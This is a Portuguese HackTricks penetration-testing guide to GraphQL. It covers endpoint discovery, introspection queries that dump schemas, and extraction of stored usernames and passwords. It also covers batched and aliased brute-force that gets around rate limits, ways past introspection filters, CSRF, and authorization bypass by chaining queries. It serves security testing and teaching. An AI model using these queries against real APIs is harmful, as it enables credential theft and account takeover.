hacktricks/network-services-pentesting/pentesting-web/graphql.md

27 KiB

GraphQL

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Introdução

GraphQL atua como uma alternativa à API REST. APIs REST exigem que o cliente envie múltiplas requisições para diferentes endpoints na API para consultar dados do banco de dados backend. Com GraphQL, você só precisa enviar uma requisição para consultar o backend. Isso é muito mais simples porque você não precisa enviar múltiplas requisições para a API, uma única requisição pode ser usada para reunir todas as informações necessárias.

GraphQL

À medida que novas tecnologias surgem, novas vulnerabilidades também aparecem. Por padrão, o GraphQL não implementa autenticação, isso fica a cargo do desenvolvedor implementar. Isso significa que, por padrão, o GraphQL permite que qualquer um o consulte, e qualquer informação sensível estará disponível para atacantes não autenticados.

Ao realizar seus ataques de força bruta em diretórios, certifique-se de adicionar os seguintes caminhos para verificar a existência de instâncias GraphQL.

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Uma vez que você encontre uma instância aberta de GraphQL, você precisa saber quais consultas ela suporta. Isso pode ser feito usando o sistema de introspecção, mais detalhes podem ser encontrados aqui: GraphQL: Uma linguagem de consulta para APIs.
É frequentemente útil pedir a um esquema GraphQL informações sobre quais consultas ele suporta. GraphQL nos permite fazer isso…

Identificação

A ferramenta graphw00f é capaz de detectar qual motor GraphQL é usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança.

Consultas universais

Se você enviar query{__typename} para qualquer endpoint GraphQL, ele incluirá a string {"data": {"__typename": "query"}} em algum lugar em sua resposta. Isso é conhecido como uma consulta universal e é uma ferramenta útil para sondar se uma URL corresponde a um serviço GraphQL.

A consulta funciona porque todo endpoint GraphQL tem um campo reservado chamado __typename que retorna o tipo do objeto consultado como uma string.

Enumeração Básica

GraphQL geralmente suporta GET, POST (x-www-form-urlencoded) e POST(json). Embora, por segurança, seja recomendado permitir apenas json para prevenir ataques CSRF.

Introspecção

Para usar a introspecção para descobrir informações do esquema, consulte o campo __schema. Este campo está disponível no tipo raiz de todas as consultas.

query={__schema{types{name,fields{name}}}}
{
  __schema {
    types {
      name
  }
}

{% endcode %}

Com esta consulta, você encontrará o nome de todos os tipos em uso:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.

Erros

É interessante saber se os erros serão exibidos, pois eles contribuirão com informações úteis.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumeração do Esquema de Banco de Dados via Introspecção

{% hint style="info" %} Se a introspecção estiver ativada, mas a consulta acima não funcionar, tente remover as diretivas onOperation, onFragment e onField da estrutura da consulta. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Consulta de introspecção inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

A última linha de código é uma consulta graphql que irá despejar todas as meta-informações do graphql (nomes de objetos, parâmetros, tipos...)

Se a introspecção estiver habilitada, você pode usar o GraphQL Voyager para visualizar em uma GUI todas as opções.

Consultando

Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar extrair alguns valores.

Na introspecção, você pode encontrar qual objeto você pode consultar diretamente (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "queryType" é chamado "Query" e que um dos campos do objeto "Query" é "flags", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.

Note que o tipo da consulta "flags" é "Flags", e este objeto é definido como abaixo:

Você pode ver que os objetos "Flags" são compostos por name e value. Então você pode obter todos os nomes e valores das flags com a consulta:

query={flags{name, value}}

Observe que, caso o objeto a consultar seja um tipo primitivo como string, como no exemplo a seguir

Você pode simplesmente consultá-lo com:

query={hiddenFlags}

Em outro exemplo onde havia 2 objetos dentro do objeto "Query": "user" e "users".
Se esses objetos não precisarem de nenhum argumento para buscar, poderiam recuperar todas as informações deles apenas solicitando os dados que você quer. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:

No entanto, neste exemplo, se você tentar fazer isso, você recebe este erro:

Parece que de alguma forma ele vai buscar usando o argumento "uid" do tipo Int.
De qualquer forma, já sabíamos disso, na seção Enumeração Básica uma consulta foi proposta que estava nos mostrando todas as informações necessárias: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Se você ler a imagem fornecida quando eu executo essa consulta, você verá que "user" tinha o arg "uid" do tipo Int.

Então, realizando um leve bruteforce em uid, descobri que em uid=1 um nome de usuário e uma senha foram recuperados:
query={user(uid:1){user,password}}

Note que eu descobri que eu poderia pedir pelos parâmetros "user" e "password" porque se eu tentar procurar por algo que não existe (query={user(uid:1){noExists}}) eu recebo este erro:

E durante a fase de enumeração eu descobri que o objeto "dbuser" tinha como campos "user" e "password".

Truque de despejo de string de consulta (agradecimentos a @BinaryShadow_)

Se você pode buscar por um tipo de string, como: query={theusers(description: ""){username,password}} e você procura por uma string vazia isso irá despejar todos os dados. (Note que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você pode buscar usando "theusers" por um campo String chamado "description").

GraphQL é uma tecnologia relativamente nova que está começando a ganhar alguma tração entre startups e grandes corporações. Além da falta de autenticação por padrão, endpoints GraphQL podem ser vulneráveis a outros bugs, como IDOR.

Pesquisando

Para este exemplo, imagine um banco de dados com pessoas identificadas pelo email e pelo nome e filmes identificados pelo nome e classificação. Uma pessoa pode ser amiga de outras pessoas e uma pessoa pode ter filmes.

Você pode pesquisar pessoas pelo nome e obter seus emails:

{
searchPerson(name: "John Doe") {
email
}
}

Você pode procurar pessoas pelo nome e obter os filmes aos quais estão inscritas:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Observe como é indicado para recuperar o name dos subscribedMovies da pessoa.

Você também pode pesquisar vários objetos ao mesmo tempo. Neste caso, é feita uma busca de 2 filmes:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou até mesmo relações de vários objetos diferentes usando aliases:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations são usadas para fazer alterações no lado do servidor.

Na introspecção, você pode encontrar as mutations declaradas. Na imagem a seguir, o "MutationType" é chamado de "Mutation" e o objeto "Mutation" contém os nomes das mutations (como "addPerson" neste caso):

Para este exemplo, imagine um banco de dados com pessoas identificadas pelo email e nome e filmes identificados pelo nome e classificação. Uma pessoa pode ser amiga de outras pessoas e uma pessoa pode ter filmes.

Uma mutation para criar novos filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutation é chamada addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Observe como os valores e o tipo de dados são indicados na consulta.

Também pode haver uma mutation para criar pessoas (chamada addPerson neste exemplo) com amigos e filmes (note que os amigos e filmes devem existir antes de criar uma pessoa relacionada a eles):

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Força bruta em lote em 1 requisição API

Esta informação foi retirada de https://lab.wallarm.com/graphql-batching-attack/.
Autenticação através da API GraphQL com envio simultâneo de muitas consultas com credenciais diferentes para verificação. É um ataque de força bruta clássico, mas agora é possível enviar mais de um par de login/senha por requisição HTTP devido ao recurso de lote do GraphQL. Esta abordagem enganaria aplicativos de monitoramento de taxa externa, fazendo-os pensar que está tudo bem e que não há um bot tentando adivinhar senhas.

Abaixo, você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com 3 pares de email/senha diferentes de cada vez. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:

Como podemos ver na captura de tela da resposta, as primeiras e terceiras solicitações retornaram null e refletiram a informação correspondente na seção error. A segunda mutação tinha os dados de autenticação corretos e a resposta tem o token de sessão de autenticação correto.

GraphQL Sem Introspecção

Cada vez mais endpoints graphql estão desativando a introspecção. No entanto, os erros que o graphql gera quando recebe uma solicitação inesperada são suficientes para ferramentas como clairvoyance recriarem a maior parte do esquema.

Além disso, a extensão Burp Suite GraphQuail observa as solicitações da API GraphQL passando pelo Burp e constrói um esquema GraphQL interno com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações verifique isto.

Uma boa lista de palavras para descobrir entidades GraphQL pode ser encontrada aqui.

Contornando defesas de introspecção GraphQL

Se você não conseguir executar consultas de introspecção para a API que está testando, tente inserir um caractere especial após a palavra-chave __schema.

Quando os desenvolvedores desativam a introspecção, eles podem usar uma regex para excluir a palavra-chave __schema nas consultas. Você deve tentar caracteres como espaços, novas linhas e vírgulas, pois são ignorados pelo GraphQL, mas não por regex com falhas.

Assim, se o desenvolvedor excluiu apenas __schema{, então a consulta de introspecção abaixo não seria excluída.

#Introspection query with newline
{
"query": "query{__schema
{queryType{name}}}"
}

Se isso não funcionar, tente executar a sonda usando um método de solicitação alternativo, pois a introspecção pode estar desativada apenas para POST. Tente uma solicitação GET ou uma solicitação POST com um content-type de x-www-form-urlencoded.

Estruturas GraphQL Vazadas

Se a introspecção estiver desativada, tente olhar o código-fonte do site. As consultas geralmente são pré-carregadas no navegador como bibliotecas javascript. Essas consultas pré-escritas podem revelar informações valiosas sobre o esquema e o uso de cada objeto e função. A aba Sources das ferramentas de desenvolvedor pode pesquisar todos os arquivos para enumerar onde as consultas estão salvas. Às vezes, até as consultas protegidas pelo administrador já estão expostas.

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF em GraphQL

Se você não sabe o que é CSRF, leia a seguinte página:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Lá fora, você vai poder encontrar vários endpoints GraphQL configurados sem tokens CSRF.

Note que as requisições GraphQL são geralmente enviadas via requisições POST usando o Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

No entanto, a maioria dos endpoints GraphQL também suporta form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Portanto, como as solicitações CSRF, como as anteriores, são enviadas sem solicitações de preflight, é possível realizar alterações no GraphQL abusando de um CSRF.

No entanto, observe que o novo valor padrão do cookie para a flag samesite do Chrome é Lax. Isso significa que o cookie só será enviado de um site terceiro em solicitações GET.

Note que geralmente é possível enviar a solicitação de consulta também como uma solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.

Além disso, abusar de um ataque XS-Search pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.

Para mais informações, consulte o post original aqui.

Autorização no GraphQL

Muitas funções do GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.

Modificar variáveis de entrada da consulta pode levar ao vazamento de detalhes sensíveis da conta vazados.

A mutação até poderia levar à tomada de controle da conta, tentando modificar outros dados da conta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass de autorização no GraphQL

Encadeamento de consultas pode contornar um sistema de autenticação fraco.

No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deveria executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.

Bypass de limite de taxa usando aliases

Normalmente, objetos GraphQL não podem conter múltiplas propriedades com o mesmo nome. Aliases permitem que você contorne essa restrição nomeando explicitamente as propriedades que deseja que a API retorne. Você pode usar aliases para retornar múltiplas instâncias do mesmo tipo de objeto em uma única solicitação.

Para mais informações sobre aliases no GraphQL, veja Aliases.

Embora os aliases sejam destinados a limitar o número de chamadas de API que você precisa fazer, eles também podem ser usados para força bruta em um endpoint GraphQL.

Muitos endpoints terão algum tipo de limitador de taxa para prevenir ataques de força bruta. Alguns limitadores de taxa funcionam com base no número de solicitações HTTP recebidas em vez do número de operações realizadas no endpoint. Como aliases efetivamente permitem enviar múltiplas consultas em uma única mensagem HTTP, eles podem contornar essa restrição.

O exemplo simplificado abaixo mostra uma série de consultas com aliases verificando se códigos de desconto de lojas são válidos. Esta operação poderia potencialmente contornar o limite de taxa, pois é uma única solicitação HTTP, mesmo que possa ser usada para verificar um grande número de códigos de desconto de uma só vez.

#Request with aliased queries
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Ferramentas

Scanners de Vulnerabilidade

Clientes

Testes Automáticos

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Referências

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: